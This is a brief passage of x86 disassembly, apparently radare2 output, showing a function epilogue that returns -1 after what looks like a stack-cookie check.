mov ecx, dword [esp + 0x114]
or eax, 0xffffffff
pop edi
pop ebp
xor ecx, esp
call fcn.00579fe8
add esp, 0x110
ret